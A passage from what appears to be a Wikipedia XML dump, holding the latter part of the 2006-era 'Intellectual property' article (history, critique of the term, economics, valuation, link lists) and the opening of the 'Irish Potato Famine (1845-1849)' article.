Copyright was not invented until after the advent of the printing press and wider public literacy. In [[England]] the King was concerned by the unfair copying of books and used the [[royal prerogative]] to pass the Licensing Act [[1662]] which established a register of licensed books and required a copy to be deposited with the Stationers Company. The [[Statute of Anne]] was the first real act of copyright, and gave the author rights for a fixed period. Internationally, the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] in the late [[1800s]] set out the scope of copyright protection and is still in force to this day.

Design rights started in England in [[1787]] with the Designing &amp; Printing of Linen Act and have expanded from there.

===History of the term===

As the words indicate, intellectual property is an asset product of the creativeness of the human mind, or intellect.  The earliest use of the term appears to be from an [[October]], [[1845]] Massachusetts Circuit Court ruling in the patent case ''Davoll et. al v. Brown.'' Justice Charles L. Woodbury wrote in that decision, &quot;only in this way can we protect intellectual property, the labors of the mind, productions and interests as much a man's own...as the wheat he cultivates, or the flocks he rears.&quot; (''Woodury &amp; Minot, CCD Mass. 7 F. Cas. 197, 1845''). The term also appears in Europe during the [[19th century]]. [[France|French]] author A. Nion mentions &quot;''propriété intellectuelle''&quot; in his ''Droits civils des auteurs, artistes et inventeurs'', published in [[1846]], and there  may well have been earlier uses of the term.

The use of the term to describe these statutorily granted rights has increased markedly in recent times, though it was rarely used without [[scare quotes]] until about the time of the passage of the [[Bayh-Dole Act]] in 1980 [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=582602 Paper by Mark A. Lemley, &quot;Property, Intellectual Property, and Free Riding&quot;; see Table 1, pp. 4-5.]. However, worldwide use of the term was uncommon until actively promulgated by the [[World Intellectual Property Organization]] after WIPO's establishment in 1967.

The first codification of intellectual property can be traced to the Jewish laws codified in the [[Talmud]], which declared a prohibition against &quot;Gnevat ha daat&quot;, literally the theft of ideas. The type of ideas subject to theft and further explanation may be found in the [[Shulkhan Arukh]]. Both texts precede the [[Statute of Anne]] by a few hundred years.

With the [[French Revolution]], which followed the [[American Revolution]], there was debate in Europe over the nature of protection for copyright and patents; those who supported unlimited copyrights frequently used the term ''property'' to advance that agenda, while others who supported a more limited system sometimes used the term ''[[intellectual rights]]'' (''droits intellectuels'').

The system currently used by much of the Western world is more in line with the second view, with limited copyrights that eventually expire.  However, the French Civil Code notion of &quot;moral rights&quot; has connotations similar to natural rights that are inconsistent with the U.S. tradition.

The term &quot;intellectual property&quot; does not occur in the United States Copyright Statutes, except in certain footnotes citing the titles of certain Bills.  The term used in the statutes and in the Constitution is &quot;exclusive rights&quot;.

==Critique==

{{cleanup-date|July 2005}}

===Overview===

The purposes of laws dealing with exclusive rights over intangible subject matter or the product of intellectual or creative endeavor have varied, but they all share in common the appearance of granting the &quot;owner&quot; of the exclusive rights a monopoly on copying or distribution of a protected form of &quot;property&quot;.

In [[common law]] jurisdictions, this was historically done to grant a boon to a king's favorite in the form of [[letters patent]] (with some positive advantages to the public, since often these grants were prerequisites before a merchant would undertake production). Jurisdictions with written constitutions generally vest the executive government with power to grant such monopolies or otherwise provide for the protection of intangible property. For example, the [[United States Constitution]] accords Congress the power to promote the progress of science and the useful arts by granting exclusive rights to authors and inventors for limited times.

The use of the term &quot;intellectual property&quot; is often predicated on considerations such as the &quot;[[free rider problem]]&quot; or rationalized by problematizing the fact that owners of computers have the ability to produce and distribute perfect copies of digital works.  Proponents of the term tend to address exclusive intellectual property rights policy by valorizing the incentives afforded to authors and inventors in granting them a right to exact a fee from those who wish to manufacture their inventions or publish their expressive works.  The analyses associated with the term tend to overlook or even to attempt to defeat the fact, noted by Thomas Jefferson when he took part in wording the exclusive rights clause under the USA Constitution, that published information is intrinsically free and that in fact this is the whole point of such exclusive rights -- to publish, to provide information to the public.

By an economic analysis, the incentives granted for patent rights have sometimes served the public benefit purpose (and promoted innovation) by ensuring that someone who devoted, say, ten years of penury while struggling to develop vulcanized rubber or a workable steamship, could recoup her or his investment of time and energy. Using monopoly power, the inventor could exact a fee from those who wanted to make copies of his or her invention. Set it too high, and others would simply try to make a competing invention, but set it low enough and one could make a good living from the fees.

In latter years, the public benefit idea has been downplayed in favor of the idea that the primary purpose of exclusive rights is to benefit the rights holder, even to the detriment of society at large; and this development has attracted some opponents.

In some fields, patent law has had an unintended consequence: treating abstract rules and mental products like concrete ones has stifled innovation in those fields, rather than aiding it. 

Intellectual property rights have limitations, including term limits and other considerations (such as intersections with fundamental rights and the codified or statutory provisions for [[fair use]] for copyright works).  Some analogize these considerations to public [[easement]]s, since they grant the public certain rights which are considered essential.  It is important to appreciate that different countries may have subtle or dramatic differences in the scope or protection and permitted uses of different types of intellectual property.  A fair use in one jurisdiction can easily be an infringing use elsewhere.

Authors and inventors exercise specific rights, and the &quot;property&quot; referred to in &quot;intellectual property&quot; is the rights, not the intellectual work. A patent can be bought and sold, but the invention that it covers is not owned at all. This is one of many reasons that some believe the term ''intellectual property'' to be misleading. Some use the term &quot;intellectual monopoly&quot; instead, because such so-called &quot;intellectual property&quot; is actually a government-granted monopoly on certain types of action. Others object to this usage, because this still encourages a [[natural rights]] notion rather than a recognition that the rights are purely statutory, and it only characterizes the &quot;property&quot; rather than eliminates the property presupposition.  Others object to the negative connotation of the term &quot;[[monopoly]]&quot; and cite the wide availability of [[substitute good]]s.  Still others prefer not to use a generic term, because of differences in the nature of copyright, patent and trademark law, and try to be specific about which they are talking about, or the term &quot;exclusive rights&quot;, which reflects the U.S. Constitutional language.

===Arguments against the term===

The term ''intellectual property'' has been criticized on the grounds that the rights conferred by exclusive rights laws are in some ways more limited than the legal rights associated with property interests in physical goods - [[chattel]]s or land - [[real property]].  The inclusion of the word ''property'' in the term can be seen as favoring the position of proponents of the expansion of exclusive rights in intellectual products, by helping them draw on concepts associated with those older forms of property in support of their argument for removing limitations on rights when those limitations would be generally seen as inappropriate if applied to physical goods.  For example, most nations grant copyrights for only limited terms.  Additionally, the term is sometimes misunderstood to imply ownership of the copies themselves, or even the information contained in those copies.  By contrast, physical property laws rarely restrict the sale or modification of physical copies of a work (something that many copyright laws do restrict).

A common argument against the term ''intellectual property'' is that information is fundamentally different from physical property in that a &quot;stolen&quot; idea or copy does not affect the original possession (see the [[tragedy of the commons]]).  Another, more specific objection to the term, held by [[Richard Stallman]], is that the term is confusing [http://www.gnu.org/philosophy/words-to-avoid.html#IntellectualProperty]. Stallman argues that the term implies a non-existent similarity between [[copyright]]s, [[patent]]s, [[trademark]]s, and other forms of exclusive rights, which makes clear thinking and discussion about various forms difficult. [http://www.gnu.org/philosophy/not-ipr.xhtml]  Furthermore, most legal systems, including that of the [[United States]], hold that exclusive rights are a government grant, rather than a fundamental right held by citizens.

Though it is convenient for direct incentive beneficiaries to regard exclusive rights as akin to &quot;[[legal property|property]]&quot;, items covered by exclusive rights are, by definition, not physical objects &quot;ownable&quot; in the traditional sense.

[[Stephan Kinsella]], in his ''Journal of Libertarian Studies'' article &quot;Against Intellectual Property&quot; ([http://www.stephankinsella.com/publications.php#IP]), details his objection to ''intellectual property'' on the grounds that the word &quot;property&quot; implies scarcity, which may not be applicable to ideas. 

Others point out that the law itself treats these rights differently than those involving physical property.  To give three examples from US law, [[copyright infringement]] is not punishable by laws against [[theft]] or [[trespass]], but rather by an entirely different set of laws with different penalties.  [[patent infringement|Patent infringement]] is not a criminal offense although it may subject the infringer to civil liability.  Willfully possessing stolen physical goods is a criminal offense while mere possessing of goods which infringe on copyright is not.  Furthermore, in the United States physical property laws are generally part of state law, while copyright law is in the main measure federal.

Some proponents of the term argue that the law is simply recognising the reality of a situation. In some jurisdictions a lease of land (e.g. a flat or apartment) is regarded as intangible property in the same way that copyright is.  In these cases too the law accepts that the property cannot be stolen - if someone moves into a flat and prevents the original residents from living there they are not regarded as 'thieves of the lease' but as '[[squatter|squatters]]' and the law provides different remedies.  [[Identity theft]] is another example of the adaptation of physical property laws to intangible items, though that term itself is seen as problematic by some.

====Alternative terms====

In [[civil law (legal system)|civil law]] jurisdictions, intellectual property has often been referred to as [[intellectual rights]], traditionally a somewhat broader concept that has included [[moral rights]] and other personal protections that cannot be bought or sold. Use of the term ''intellectual rights'' has declined since the early [[1980]]'s, as use of the term ''intellectual property'' has increased.

An alternate term '''monopolies on information''' has emerged among those who argue against the &quot;property&quot; or &quot;intellect&quot; or &quot;rights&quot; assumptions, notably [[Richard Stallman]] - ''see below''. The [[backronym]]s ''intellectual protectionism'' and ''intellectual poverty'', whose initials are also ''IP'', have found supporters as well, especially among those who have used the backronym ''[[digital restrictions management]]''.

Another issue is that if intellectual property exists there must be a parallel concept of [[intellectual capital]] - [[capital (economics)]] being the property that permits more property to be created.  This, and the related term [[instructional capital]] that applies to the proper subset of [[patent]]s and non-fiction [[copyright]], are controversial notions that economists have no clear agreement on, so one refers to the &quot;intellectual capital debate&quot; rather than thinking of it as an actual [[capital asset]].  ''See more in the &quot;Economic view&quot; section below.''

The fact that the three most common forms of intellectual property law concern different subject matter with different histories and purposes &amp;mdash; [[copyright]] concerns original creative or artistic works, [[patent]] concerns new and useful inventions, and [[trademark]]s concerns signs which uniquely identify the commercial origin of products or services &amp;mdash; is seen by some as countering what they consider to be the dogma of the [[United Nations]]' [[World Intellectual Property Organisation]] on intellectual property as the &quot;creations of the mind: inventions, literary and artistic works, and symbols, names, images, and designs used in commerce&quot; [http://www.wipo.org/about-ip/en/]. These critics see this assertion as [[propaganda]] for a &quot;property view&quot; of the intellectual property laws, and suggest alternative terms such as [[individual capital]], [[instructional capital]] and [[social capital]] over the term &quot;[[intellectual capital]],&quot; which has an ambiguous status, even among believers in [[neoclassical economics]]. Indeed, recent historical and econometric research has begun to &quot;challenge the positive description of previous models and the normative conclusion that monopoly through copyright and patent is socially beneficial&quot; [http://minneapolisfed.org/research/sr/sr303.html]).

===Expansion in nature and scope of IP laws===

In recent times there has been a general expansion in intellectual property laws. This can be seen in the extension of laws to new types of subject matter such as databases, in the regulation of new categories of activity in respect of subject matter already protected, in the increase of terms of protection, in the removal of restrictions and limitations on exclusive rights, and in an expansion of the definition of &quot;author&quot; to include corporations as the legitimate creators and owners of works. The concept of [[work for hire]] has also had the effect of treating a corporation or business owner as the legal author of works created by employees.

The increase in terms of protection is particularly seen in relation to copyright, which has recently been the subject of serial extensions [[Sonny Bono Copyright Term Extension Act|in the United States]] and [[Directive on harmonising the term of copyright protection|in Europe]], such that it is unclear when subsisting copyright protection will eventually expire.

The nature and scope of what constitutes &quot;intellectual property&quot; has also expanded. In the context of trademarks, this expansion has been driven by international efforts to harmonise the definition of &quot;trademark&quot;, as exemplified by the [[Agreement on Trade-Related Aspects of Intellectual Property Rights]]. Pursuant to TRIPs, any [[sign (semiotics)|sign]] which is &quot;capable of distinguishing&quot; the products or services of one business from the products or services of another business is capable of constituting a trademark. Under this definition, trademarks such as [[Microsoft]]'s slogan &quot;Where do you want to go today?&quot; are generally considered registrable. Furthermore, as the essential function of a trademark is to exclusively identify the commercial origin of products or services, any sign which fulfills this purpose may be registrable as a trademark. However, as this concept converges with the increasing use of [[non-conventional trademark]]s in the [[marketplace]], harmonisation may not amount to a fundamental expansion of the trademark concept.

In the context of patents, the grant of patents in some [[jurisdiction]]s over certain life forms, [[computer software|software]] algorithms, and business models has led to ongoing controversy over the appropriate scope of patentable subject matter.

Some consider that the expansion of intellectual property laws upsets the balance between encouraging and facilitating creativity and innovation, and the dissemination of new ideas and creations into the [[public domain]] for the [[common good]]. They consider that as most new ideas are simply derived from other ideas, intellectual property laws tend to reduce the overall level of creative and scientific advancement in society. They argue that innovation and competition is in effect stifled by expanding IP laws, as litiguous IP rights holders aggressively or frivolously seek to protect their portfolios.

The electronic age has seen an increase in the attempt to use software-based [[digital rights management]] tools to restrict the copying and use of digitally based works.  This can have the effect of limiting [[fair use]] provisions of copyright law and even make the [[first-sale doctrine]] (known in [[EU]] law as &quot;[[exhaustion of rights]]&quot;) moot.  This would allow, in essence, the creation of a book which would disintegrate after one reading.  As individuals have proven adept at circumventing such measures in the past, many copyright holders have also successfully lobbied for laws such as the [[Digital Millennium Copyright Act]], which uses criminal law to prevent any circumvention of software used to enforce digital &quot;rights management&quot; systems.  Equivalent provisions, to prevent circumvention of copyright protection have existed in EU for some time, and are being expanded in, for example, Article 6 and 7 the [[EU Copyright Directive|Copyright Directive]]. Other examples are Article 7 of the Software Directive of 1991 (91/250/EEC), and the Conditional Access Directive of 1998 (98/84/EEC).

At the same time, the growth of the [[Internet]], and particularly distributed search engines like [[Kazaa]] and [[Gnutella]], represents a challenge for exclusive rights policy.  The [[Recording Industry Association of America]], in particular, has been on the front lines of the fight against what it terms &quot;piracy&quot;. The industry has had victories against some services, including a highly publicized case against the file-sharing company [[Napster]], and some people have been prosecuted for sharing files in violation of copyright. However, the increasingly decentralized nature of such networks makes legal action against distributed search engines more problematic.

===Economic view===

Exclusive rights such as copyrights and patents secure their holder an exclusive right to sell, or license rights. As such, the holder is the only seller in the market for that particular item, and the holder is often described as having a [[monopoly]] for this reason.

However, it may be the case that there are other items of &quot;intellectual property&quot; that are close substitutes. For example, the holder of publishing rights for a book may be competing with various other authors to get a book published. In such cases, economists may find that another [[market form]], such as [[oligopoly]] or [[monopolistic competition]] better describes the workings of the markets for expressive works and inventions. This is one reason to prefer the term ''exclusive rights'' over ''monopoly rights''.

The case for &quot;intellectual property&quot; in economic theory notes certain substantial differences from the case for tangible property. Consumption of tangible property is rivalrous.  For example, once one person eats an apple, no one else can eat it; if one person uses a plot of land on which to build a home, that plot is unavailable for use by others. Without the right to exclude others from tangible resources, a [[tragedy of the commons]] can result.

The subjects of intellectual property do not share this feature of rivalness. For example, an indefinite number of copies can be made of a book without interfering with the use of the book by owners of other copies. When combined with a lack of exclusive intellectual property rights, this nonrivalrousness and nonexcludability combine to make them [[public good]]s and susceptible to the [[free rider problem]]. A rationale for &quot;intellectual property&quot; therefore rests on incentive effects to overcome the free rider problem. This case asserts that without a subsidy that is afforded by exclusive rights, there is no direct financial incentive to create new inventions or works of authorship. However, as [[Wikipedia]] and [[Free software]] demonstrate, works of authorship can be written without direct financial incentives. Moreover, many important works were created before copyright was invented. One might argue that much more invention occurred after patents came into existence; however, one could also argue that patents were brought into law as the power and influence of industrial interests grew.

The status of intellectual property is disputed by various commentators in [[India]], [[China]] and other [[developing nation]]s. The United States and the United Kingdom are the only two nations who consistently receive net balance of payment benefits from intellectual property, and are amongst the chief supporters of intellectual property systems.

A more recent notion, proposing to expand the scope of exclusive rights to include databases, has been introduced by the EU in 1996. This is the idea of protecting the information contained in a database against re-utilisation and extraction of substantial parts. This would be an additional right predicated on a substantial investment, that would exist alongside the copyright in the database structure. This notion was opposed by the United States Supreme Court in 1991 in the Feist Publication finding, which said that exclusive rights cannot cover the factual elements of any copyrighted work, that copyright does not derive from the effort expended in the production of the work, and that in the case of a collection of information, only the originality that may be found in the selection and arrangement of the information is governed by copyright. This case holds that the purpose of exclusive rights policy is to provide information to the public, and this consideration takes priority over concerns such as investment. A study has found that the introduction of exclusive rights to databases in the EU did not do any good to the economy.

The direct incentive beneficiaries of exclusive rights have an interest in expanding their rights and benefits. Many pool their resources to form organizations that attempt this such as the Business Software Alliance (BSA), which purports to represent the interests of the commercial software industry while the Recording Industry Association of America (RIAA) represents the interests of the commercial music publishing industry. As policy expands in accordance with the notion of &quot;intellectual property&quot;, in the interests of those who benefit directly from its economic incentives, it tends to reduce the rights of its primary beneficiaries, the general public.

Under the notion of &quot;intellectual property&quot; the public is increasingly prevented by law from benefiting from the use of published information without complying with the conditions set by the rightsholder. The cost for this to the public is not easy to quantify. The cost is distributed widely and unequally based on the need for the product. Ironically the direct incentive beneficiary organizations are a good source for these data. The BSA reports a study that claims &quot;while $80 billion in software was installed on computers worldwide last year, only $51 billion was legally purchased&quot; (Source:[http://www.bsa.org/globalstudy/ BSA]). The BSA says &quot;software pirates&quot; avoided a cost of $29 billion while the rest that obey the policy and do not purchase or make use of the work bear a real and substantial [[opportunity cost]] that is yet uncounted. However, it is questionable whether Microsoft would lower their price if it would earn $10 billion more on licensing from countries such as Russia, Thailand, India and China where most of the copyright infringement happens.

But Microsoft is dumping its selling price on competition from [[Linux]], for example with government clients. Because of this competition, Microsoft will also be forced to release an update to [[Internet Explorer]] to the public for its current product which it originally planned to release with its next operating system.

===Alternative systems of protection===

Before intellectual property laws existed in their current form, there were socially-enforced systems for protecting intellectual works, such as the ancient scholarly taboo against [[plagiarism]].

Other informal systems of protection include the customary [[code of non-infringement]] used by [[clown]]s to recognise each [[performance art|performer]]'s exclusive right to their unique style of makeup, costume and persona. The universality of &quot;The Code&quot; supports the belief amongst clowns that this traditional protection is more effective than that provided by trademark and copyright law. Nevertheless, clowns sometimes do seek the protection of &quot;clown material&quot; using intellectual property laws, perhaps against infringement by third parties outside the clown community.

With the advent of valuable [[domain name]]s, and the practice of domain name [[squatting]], the right to use and register certain domain names are often contested, particularly where a domain name consists of or comprises another party's well known trademark. Domain name registries, which are generally non-governmental organisations, utilise dispute resolution systems which operate in parallel with national laws. [[ICANN]] requires that registries for top level domain names (eg. .com and .net) use the [[Uniform Domain-Name Dispute-Resolution Policy]] (UDRP), while other registries use systems such as [[Nominet UK]]'s &quot;Dispute Resolution Service&quot; (for the .uk registry), which often adopt or mirror the provisions of the UDRP.

==Valuation of intellectual property==

Little argument over intellectual property (IP) would occur if it did not have a value for the owner. The principle of valuing IP is to determine the future income associated with its ownership ([[Special:Booksources/0471362816|Smith&amp;Parr: ''Valuation of Intellectual Property and Intangible Assets'', 3rd Edition, Wiley 2000]]). Note that the value of IP is independent of its cost. The creation of a musical composition, invention, valuable software may have cost little, and can generate a very high income. Profit margins from IP are typically much higher than profit margins from manufacturing of tangible goods.

Determination of future income requires estimating the income due to the IP in each of all future years over its life; i.e., the amount sold and the net income per unit after routine sales costs are deducted. If the IP is used internally, then the savings due to owning it can be similarly estimated. The risk that intellectual property becomes obsolete is high, and reduces the current value. Without risk, future income is discounted by using a [[risk-free interest rate]]. Risks include unexpected competition, unauthorized copying, patent breaches or invalidation, and loss of trade secrets. With such risks, discount rates increase, based on the expected [[Beta coefficient]]. With high discount rates, sales that occur far in the future have little effect, simplifying the determination of the net current value of the included IP.

When the items being valued contain multiple IP components, then the proportion and life of each component must be determined. That case exists in the small, as for [[software]] that receives updates throughout the future, and in the large, for [[company (law)|companies]] that vend many products. [[Shareholder]]s of public companies in effect estimate the aggregate IP of a company, providing a [[market capitalization]] through the price they are willing to pay for shares, which is in effect the sum of the [[book value]] and the IP owned by the company.

[[U.S. generally accepted accounting principles]] (GAAP) do not allow the listing on corporate books of IP, making it hard for investors to be rational about share prices. IP is generated mainly through research, development, and advertising (IP generating expenses or IGE), making it hard to assess the effectiveness of IGE. Companies participating in the [[knowledge economy]] typically have a [[market capitalization]] which is a large factor greater than their [[book value]], the sum of their tangible assets and cash. Only when a company has been purchased will the purchased IP briefly appear on the books as [[goodwill]].

==See also==
{{wikiquote}}
*The [[Adelphi Charter]] on Creativity, Innovation and Intellectual Property released by the [[Royal Society of Arts]]
*[[Agreement on Trade-Related Aspects of Intellectual Property Rights]] (TRIPS)
*[[Copynorm]]
*[[The Disneyland Memorial Orgy|Disneyland Memorial Orgy]]
*[[Doha Declaration]]
*[[Directive on the enforcement of intellectual property rights|EU Directive on the enforcement of intellectual property rights]]
*[[Directive on criminal measures aimed at ensuring the enforcement of intellectual property rights|EU Directive on criminal measures aimed at ensuring the enforcement of intellectual property rights]] (''proposed'')
*[[Fair use]]
*[[intangible asset|Intangible Assets]]
*[[Intellectual capital]]
*[[Intellectual Freedom Movement]]
*[[Intellectual property education]]
*[[Intellectual property in Romania]]
*[[Intellectual property in the People's Republic of China]]
*[[Intellectual property organization]]
*[[Intellectual Property Owners Association]] (ipo) [http://www.ipo.org/]
*[[Intellectual rights]]
*[[Intellectual rights to magic methods]]
*[[International Association for the Protection of Industrial Property]] (AIPPI)
*[[International Federation of Intellectual Property Attorneys]] (FICPI)
*[[International Intellectual Property Alliance]] (IIPA)
*[[International Union for the Protection of New Varieties of Plants]] (UPOV)
*[[Legal aspects of computing]]
*[[Licensing (strategic alliance)|Licensing]]
*[[Markman Trial]]
*[[Parallel import]]
*[[Paris Convention for the Protection of Industrial Property]]
*[[Personal property]]
*[[Philosophy of copyright]]
*[[Real property]]
*[[Reverse engineering]]
*[[Software patent]]
*[[World Intellectual Property Organisation]] (WIPO)
*[[World Intellectual Property Day]] ([[April 26]])

===Types of intellectual property===
*[[Copyright]]
*[[Geographical indication]]
*[[Industrial design rights]]
*[[Intellectual property block|IP blocks]] used in [[electronic design]]
*[[Moral rights]]
*[[Patent]]
*[[Personality rights]]
*[[Plant breeders' rights]]
*[[Trade dress]]
*[[Trademark]]
*[[Trade secret]]
*[[Traditional knowledge]]
*[[Domain Name]]

==Bibliography==

*Arthur Raphael Miller, Michael H. Davis, ''Intellectual Property: Patents, Trademarks, and Copyright'', West Wadsworth; 3rd edition, [[2000]], ISBN 0314235191 (textbook particularly covering copyright and patent law)
*[[Stephan Kinsella]], &quot;Against Intellectual Property&quot;, ''Journal of Libertarian Studies'', Vol. 15, No. 1, pp. 1-53, 2001. Available in .PDF [http://www.mises.org/journals/jls/15_2/15_2_1.pdf here]
* Jason Mazzone, ''Copyfraud'', http://ssrn.com/abstract=787244 
*Michael Perelman, ''Steal This Idea: Intellectual Property Rights and the Corporate Confiscation of Creativity'', Palgrave Macmillan, [[2002]], ISBN 0312294085, (a critical discussion of some of the social, scientific and cultural impacts of recent intellectual property developments)
*Roger E. Schechter, John R. Thomas, ''Intellectual Property: The Law of Copyrights, Patents and Trademarks'', West Wadsworth, [[2003]], ISBN 0314065997  (textbook)

==External links==

*Articles, Papers, and Interviews
** [http://ipmall.info] Award-winning website covering numerous aspects of intellectual property.
** [http://lysanderspooner.org/intellect/contents.htm The Law of Intellectual Property: or an essay on the right of authors and inventors to a perpetual property in their ideas.] by [[American individualist anarchist]] [[Lysander Spooner]], 1855
** [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=582602 Property, Intellectual Property, and Free Riding, August 2004] by Mark A. Lemley Stanford University - School of Law
** [http://www.ipfrontline.com/ IPFrontline™ Intellectual Property and Technology Magazine] from [http://www.iamcafe.com/ PatentCafe.] IPFrontline contains thousands of archived articles.
*[http://digital.library.unt.edu/govdocs/crs/search.tkl?type=subject&amp;q=intellectual%20property&amp;q2=liv Read Congressonal Research Service (CRS) Reports regarding Intellectual property]
** Speech by [[Richard Stallman]]: [http://www.cl.cam.ac.uk/~mgk25/stallman-patents.html Software patents ? Obstacles to software development] - it starts about IP and the problems it causes to talk or think using IP.
** [http://www.gnu.org/philosophy/words-to-avoid.html#IntellectualProperty Confusing words to avoid ]. [[Free Software Foundation]] page that identifies ''intellectual property'' as a confusing term while talking about [[free software]].
** [http://www.gnu.org/philosophy/not-ipr.xhtml Why the Term 'Intellectual Property' is a seductive mirage] - an essay by [[Richard Stallman]]. Originally published on [[Newsforge]], see [http://www.newsforge.com/article.pl?sid=04/10/27/189204 commentary by Newsforge readers].
** [http://web.archive.org/web/20041010160640/http://articles.pawlo.com/grep02.html ''Efficiency, Innovation, and Transparency - The Future of Intellectual Property Rights'', [[November 30]] [[2002]]]
** [http://levine.sscnet.ucla.edu/general/intellectual/intellectual.htm ''Economic and Game Theory Intellectual Property Page''] - by Michele Boldrin and David K. Levine
** [http://www.eff.org/~barlow/EconomyOfIdeas.html ''The Economy of Ideas: Selling Wine Without Bottles on the Global Net''] by [[John Perry Barlow]]
** [http://eyeteeth.blogspot.com/2003_04_20_eyeteeth_archive.html#92977561 The Anarchist in the Library: Discussing Cultural Democracy with Siva Vaidhyanathan]
** [http://www.qmipri.org] ''Queen Mary Intellectual Property Research Institute, University of London''
** Georg Jakob's short [http://wiki.ael.be/uploads/ipenf_comments.html Paper on the Enforcement of Intellectual Property Rights in Europe]([http://www.rechtsprobleme.at/doks/ipenf_comments-jakob.pdf pdf])
** [http://management.itmanagersjournal.com/management/05/07/03/142217.shtml Making sense of IP laws and regulations] by Ryan Paul - primarily covers copyright law and fair use
** [http://www.paecon.net/PAEReview/issue32/Baker32.htm The Reform of Intellectual Property] by Dean Baker   (Center for Economic and Policy Research, USA) - about economic inefficiencies rooting from intellectual property rights
** Working paper for discussion [http://www.unece.org/operact/enterp/documents/kozeng.pdf EVALUATION OF INTELLECTUAL PROPERTY AND INTANGIBLE ASSETS]([http://www.unece.org/operact/enterp/documents/kozeng.pdf pdf]) (Prepared by [http://kozyrev.labrate.ru A.N. Kozyrev], [http://www.cemi.rssi.ru Central Economics and Mathematics Institute], Russian Academy of Sciences), HIGH-LEVEL TASK FORCE ON VALUATION AND CAPITALIZATION OF INTELLECTUAL ASSETS (First meeting, Geneva, [[18 November]] and [[19 November]] [[2002]])


*Miscellaneous IP sites
** [http://www.ipjustice.org IP Justice] - IP Justice Civil Liberties NGO
** [http://www.ip-watch.org IP Watch] - a blog on international IP developments
** [http://www.ipdragon.blogspot.com IP Dragon] - focused on IP in China
** [http://www.ipwatchdog.com IP Watch Dog] IP site by Gene Quinn, US patent attorney
** [http://www.ipnewsflash.com IP Newsflash] current IP related caselaw and notices of the patent offices
** [http://www.iusmentis.com/news/ Ius Mentis] Updated IP news feed
** [http://www.kinsellalaw.com/ip/index.php Intellectual Property Resources]
** [http://www.researchoninnovation.org/ Research on Innovation]
** [http://www.ip-links.de/ Intellectual Property Links], compiled by [[Representation before the European Patent Office (EPO)|European Patent Attorney]] [[Ralph Beier]]
** [http://www.freeculture.org/blog/ freeculture] news, events, and issues, focusing on the free culture movement
** [http://www.freedom-to-tinker.com/ Freedom To Tinker] Ed Felten's blog, focusing on effects of stifling the &quot;freedom to understand, discuss, repair, and modify the technological devices you own.&quot;
** [http://righttocreate.blogspot.com Right to Create] Focusing on exposing abuses of patent and copyright systems, and useful reforms.
** [http://www.corante.com/copyfight/ Copyfight] Copyright and patent issue blog
** [http://lawyerintl.com/modules/AMS/index.php?storytopic=13 Intellectual Property] An array of articles on a variety of Intellectual Property topics.
** [http://www.info-brevetti.org The Italian portal about intellectual property, patents and innovation]
** [http://www.internationaliplawforum.com/ International IP Law Forum] Articles specifically related to international IP issues

*Lobbying organisations (in favour)
** [http://www.eucommittee.be/IssuesPriorities/ip.htm AmCham EU - American Chamber of Commerce to the European Union] ''&quot;Committed to a Competitive and Sustainable Europe&quot;''
** [http://www.gbde.org/ipr.html GBDe - Global Business Dialogue on electronic commerce] - The IPR working group is chaired the Chairman and CEO of [[The Walt Disney Company]], and the Chairman and CEO of [[Bertelsmann]]. On Technological Protection Measures: ''&quot;However, it is acknowledged that technology alone is not sufficient to protect copyright works for unauthorized reproduction and distribution. Legal safeguards, such as those required by the [[WIPO]] treaties must also be in place.&quot;'' -&gt; [[digital rights management|DRM]], [[DMCA]] and so on.
** [http://www.esmoz.com]
** http://www.eicta.org/levies/technical_solutions/drm.html (see also: [[EICTA|European Information, Communications and Consumer Electronics Technology Industry Associations]])

*Lobbying organisations (critical of some rights which IP is used to refer to)
** [http://www.eldis.org/ipr/ ELDIS - gateway to information on development issues]
** [[Free Software Foundation]], [http://www.edri.org/ EDRi (European Digital Rights)], [http://www.fipr.org FIPR], [[FFII]] (many more) 
** [[IP Justice]] http://ipjustice.org
** [http://www.nnm-ev.de/ Netzwerk Neue Medien / Network New Media]
** [http://www.ueapme.org/EN/policy_legal_intellectual.shtml UEAPME]

[[Category:Intellectual property| ]]

[[da:Immaterialret]]
[[de:Geistiges Eigentum]]
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[[he:קניין רוחני]]
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[[th:ทรัพย์สินทางปัญญา]]</text>
    </revision>
  </page>
  <page>
    <title>Irish Potato Famine (1845-1849)</title>
    <id>14726</id>
    <revision>
      <id>42088729</id>
      <timestamp>2006-03-03T19:25:30Z</timestamp>
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        <username>FWBOarticle</username>
        <id>84919</id>
      </contributor>
      <comment>/* The blight */  stub added</comment>
      <text xml:space="preserve">[[Image:Irish potato famine Bridget O'Donnel.jpg|thumb|200px|Bridget O'Donnell and her two children during the famine]]
The '''Great Famine''' or the '''Great Hunger''' ([[Irish language|Irish]]: '''''An Gorta Mór''''' or '''''An Drochshaol'''''), known more commonly outside of [[Ireland]] as the '''Irish [[Potato]] Famine''', is the name given to a [[famine]] in [[Ireland]] between [[1845]] and [[1849]]. The Famine was at least fifty years in the making, due to the disastrous interaction of [[United Kingdom|British]] economic policy, destructive farming methods, and the unfortunate appearance of &quot;the Blight&quot; &amp;mdash;the [[potato fungus]] that almost instantly destroyed the primary food source for the majority population.  The immediate after-effects of The Famine continued until [[1851]]. The number of deaths is unrecorded, and various estimates suggest totals between 500,000 and more than one million in the five years from 1846. Some two million refugees are attributed to the Great Hunger (estimates vary), and much the same number of people emigrated to [[Great Britain]], the [[United States]], [[Canada]], and [[Australia]] (''see'' the [[Irish Diaspora]]).

The immediate effect on Ireland was devastating, and its long-term effects proved immense, permanently changing Irish culture and tradition. The Irish Potato Famine was the culmination of a social, biological, political and economic catastrophe, caused by both Irish and British factors, which would have sharp and lasting influences on the world.

==The potato in Ireland==
The potato contains considerable [[food energy]], and yet is very easy to cultivate. Typical farming practice of the era seeded a field once after being hoed, and future years' crops were &quot;seeded&quot; by simply leaving some of the potatoes unharvested in the ground. Weeding was minimal, and irrigation unnecessary.  The [[potato]] had become Ireland's major food crop after being introduced sometime around [[1650]], though its dominance was not achieved until around the [[1780s]]. Even small plots could provide enough food energy for a family (and also to feed pigs, providing access to meat, while they could also be sold, providing extra income.) While potatoes are relatively rich in energy they are only a fair source of protein.  Some paleo-nutritionists estimate that potato consumption prior to the famine averaged an astonishing 14 pounds per day per adult. This monotonous diet provided good nutrition which led to a taller average height in Ireland than in England during the early 19th century.  In addition to the potato crop, other lands were used for cash crops like [[flax]]. The abundance of food and cash led to a rise in population in Ireland.

